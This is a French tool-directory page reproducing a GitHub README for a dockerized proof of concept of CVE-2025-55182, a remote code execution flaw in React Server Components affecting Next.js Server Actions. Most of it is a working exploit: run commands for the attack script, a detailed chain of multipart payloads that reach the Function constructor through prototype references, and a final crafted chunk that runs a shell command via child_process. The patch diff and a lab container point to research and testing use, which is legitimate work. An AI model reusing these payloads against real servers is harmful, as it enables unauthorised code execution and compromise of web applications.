Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-Dockerized — Preuve de concept dockerisée pour CVE-2025-55182, une RCE critique dans les composants serveur React via la pollution de prototype, avec des scripts d'exploitation automatisés et un environnement de test Next.js vulnérable. | Kitploit
Outils/GitHubGitHub/clevernyyyy/cve-2025-55182-dockerized
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubclevernyyyy/cve-2025-55182-dockerized

CVE-2025-55182-Dockerized

Preuve de concept dockerisée pour CVE-2025-55182, une RCE critique dans les composants serveur React via la pollution de prototype, avec des scripts d'exploitation automatisés et un environnement de test Next.js vulnérable.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1il y a 5 moisPas encore vérifié

CVE-2025-55182 - Preuve de concept dockerisée

Ce dépôt contient une preuve de concept dockerisée pour CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans les composants serveur React (RSC) qui affecte les applications Next.js utilisant des Server Actions.

Crédits

La preuve de concept originale et l'analyse de la vulnérabilité ont été réalisées par msanft. Ce dépôt étend leur travail en fournissant un environnement de test dockerisé pour faciliter les tests et la démonstration.

Démarrage rapide

Prérequis

  • Docker installé et en cours d'exécution
  • Python 3 avec la bibliothèque requests (pip install requests)

Exécution de l'exploit

  1. Démarrer le serveur Next.js vulnérable :

    root@kitploit:~
    docker compose up --build -d
    
  2. Attendre que le serveur démarre (vérifier les logs avec docker compose logs -f nextjs-server)

  3. Exécuter l'exploit :

    root@kitploit:~
    # Script automatisé (recommandé)
    ./exploit-docker.sh
    
    # Ou manuellement
    ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
    python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
    
  4. Vérifier que l'exploit a fonctionné :

    root@kitploit:~
    docker compose exec nextjs-server ls -la /tmp/rce_test
    

Exemples de commandes

root@kitploit:~
# Créer un fichier
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"

# Écrire dans un fichier
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"

# Vérifier l'utilisateur actuel
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"

# Vérifier les résultats
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user

Remarques importantes

  • ⚠️ Les erreurs de timeout sont ATTENDUES – elles indiquent que le RCE a été exécuté avec succès
  • Le serveur se bloque après l'exécution de la commande, ce qui provoque le délai d'attente HTTP
  • Les commandes s'exécutent en tant qu'utilisateur nextjs (UID 1001) à l'intérieur du conteneur
  • Les fichiers sont créés dans le système de fichiers du conteneur, pas sur l'hôte

Configuration Docker

Ce dépôt inclut une configuration Docker complète pour tester la vulnérabilité :

  • docker-compose.yml – Configuration Docker Compose
  • test-server/ – Application Next.js vulnérable
  • test-server/Dockerfile – Dockerfile de production
  • test-server/Dockerfile.dev – Dockerfile de développement (optionnel)

Le serveur vulnérable exécute Next.js 16.0.6 avec une simple Server Action exploitable.

Fichiers

  • poc.py – Script Python de preuve de concept (original de msanft, avec corrections d'échappement des guillemets)
  • exploit-docker.sh – Script d'exploitation automatisé pour l'environnement Docker
  • DOCKER_SETUP.md – Documentation complète de configuration Docker

Nettoyage

root@kitploit:~
# Arrêter le conteneur
docker compose down

# Tout supprimer (y compris les volumes)
docker compose down -v

Analyse originale de la vulnérabilité

L'analyse détaillée de la vulnérabilité, la chaîne d'exploitation et les informations sur le correctif de la recherche originale sont fournies ci-dessous.


Recherche originale par msanft

Cette vulnérabilité permet une RCE dans les fonctions serveur React, par exemple telles qu'offertes par Next.js via des références de prototype non sécurisées.

Je ne suis pas un expert en React ou Next.js, donc prenez toutes les informations ici avec des pincettes. De plus, je suis encore en cours d'analyse, donc ce que je décris ci-dessous comme « la vulnérabilité » pourrait n'être qu'une petite partie de la chaîne complète.

Contexte

React propose des Server Functions1, qui peuvent être considérées comme une sorte de RPC sur HTTP. Elles peuvent être utilisées pour récupérer des données de pairs adjacents afin d'assurer une faible latence, ou effectuer des requêtes authentifiées pour lesquelles le client ne possède pas les identifiants.

React utilise ce qu'on appelle le React Flight Protocol2 pour la sérialisation des valeurs passées aux Server Functions.

Le client transmet des « chunks » (morceaux) au serveur, par exemple via des données de formulaire :

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Comme montré, ceux-ci peuvent avoir des références les uns envers les autres. La charge utile ci-dessus est désérialisée côté serveur en :

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

Le format lui-même est un peu plus complexe et permet une sérialisation et désérialisation plus élaborées, mais cela fournit une compréhension de base pour la vulnérabilité réelle.

Vulnérabilité

Jusqu'à ce commit3, lors du parcours des chunks pour la résolution des références, comme obtenir le fruitName du chunk 2 dans l'exemple ci-dessus, React ne vérifiait pas si la clé demandée était effectivement définie sur l'objet. Cela permettait d'obtenir le prototype de l'objet4.

Cela peut être démontré avec une charge utile comme celle-ci :

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Qui se désérialise en le constructeur de fonction5 :

root@kitploit:~
[Function: Function]

Lorsque le chunk avec l'ID 0 n'est pas un tableau mais un objet, nous pouvons définir la clé then sur le constructeur de fonction. L'objet est alors retourné par la fonction decodeReplyFromBusboy et attendu (await) par Next.js :

root@kitploit:~
// action-handler.ts:888 (avant le correctif)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Lorsque cela retourne un thenable, le await dans l'appelant l'appelle. C'est ce qui se produit avec cette charge utile :

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Conduisant à cette erreur :

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

L'erreur ressemble à cela car V8 appelle une fonction awaitée avec les fonctions internes resolve et reject, qui, lorsqu'elles sont converties en chaîne (toString), se sérialisent en quelque chose comme :

root@kitploit:~
function () { [native code] }

Exploitation

Puisque nous pouvons trivialement récupérer le constructeur Function, la façon la plus directe est de trouver un gadget d'appel qui invoque le constructeur avec une valeur contrôlée par l'utilisateur (c'est-à-dire le code de la fonction sous forme de chaîne), puis appelle la fonction retournée.

Il existe plusieurs endroits qui peuvent appeler le constructeur de fonction, par exemple resolveServerReference, où id est un objet contrôlé, et lastIndexOf peut être écrasé pour retourner une chaîne contrôlée par l'utilisateur (par exemple via Array.prototype.join) et slice peut être écrasé pour devenir le constructeur de fonction. Cependant, cet endroit ne fonctionne pas car la deuxième invocation de .slice() fournit un nombre comme premier argument, qui - à ma connaissance - ne peut jamais être traité par le constructeur de fonction.

Ici, une idée brillante de maple31426 entre en jeu. Lorsque getChunk récupère le chunk à l'ID 0 comme référence racine pour commencer à résoudre la chaîne de référence, ce même chunk peut résoudre en un « faux chunk » fabriqué.

Nous pouvons référencer le chunk fabriqué 0 dans le chunk 1 en utilisant la syntaxe $@, qui retourne le chunk « brut », pas sa valeur résolue :

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

En combinant cela avec notre remplacement de then ci-dessus, nous pouvons fabriquer quelque chose comme ceci :

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Ici, le chunk 0 remplace son propre .then() par le .then() de sa propre représentation de chunk brut. En d'autres termes, nous remplaçons notre propre .then() par Chunk.prototype.then, qui existe, puisque les Chunk sont des thenables :

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

Avec la charge utile ci-dessus, Chunk.prototype.then est finalement appelé avec le chunk fabriqué d'ID 0.

Comme montré ci-dessus, lorsque .status sur notre faux chunk est resolved_model :

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Nous entrons dans initializeModelChunk. Ici, .value est analysé comme JSON, puis les références sont résolues sur l'objet retourné, en utilisant le contexte « externe » de nos chunks avec les ID 0 et 1 :

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

À l'intérieur de cela, nous avons maintenant un second passage d'évaluation avec un peu plus de valeurs auxquelles nous avons accès en raison du contexte externe déjà résolu.

Il existe un gadget d'appel dans la gestion des données blob avec le préfixe $B dans le protocole flight :

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

En utilisant le champ spécial _response, nous contrôlons la propriété response du chunk fabriqué :

root@kitploit:~
// dans initializeModelChunk
value = reviveModel(chunk._response, // ...

Avec cela, nous pouvons fabriquer un objet avec de fausses propriétés ._formData et ._prefix :

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

La propriété .reason doit être ajoutée pour contourner l'échec sur l'invocation de toString dans initializeModelChunk :

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

En pointant ._formData vers le constructeur de fonction, et ._prefix vers notre code, nous obtenons un gadget d'invocation pour le constructeur de fonction dans la désérialisation des blobs :

root@kitploit:~
response._formData.get(response._prefix + "0")
// devient
Function("return foo; // 0")

Notre fonction fabriquée est alors retournée par parseModelString comme méthode .then() du chunk fabriqué, qui est également awaitée, puisque tout cela se produit dans une seule chaîne de résolution de promesse. Ainsi, en retournant un thenable, notre fonction fabriquée est appelée. Cela constitue le gadget d'appel requis mentionné ci-dessus.

En assemblant tout cela avec une charge utile RCE réelle, nous obtenons quelque chose comme ceci :

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    # "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Correctif

L'utilisation des références de chunks pour récupérer les propriétés du prototype est corrigée avec cette vérification :

root@kitploit:~
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

Questions en suspens

  • Pourquoi l'avis React7 mentionne-t-il que cette vulnérabilité pourrait être déclenchée même sans déclarer activement des server functions ? Existe-t-il d'autres choses qui se transforment en server functions sous le capot ?

Footnotes

  1. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

Télécharger l’outil

https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/x.com/maple3142%3E ↩

  • https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components%3E ↩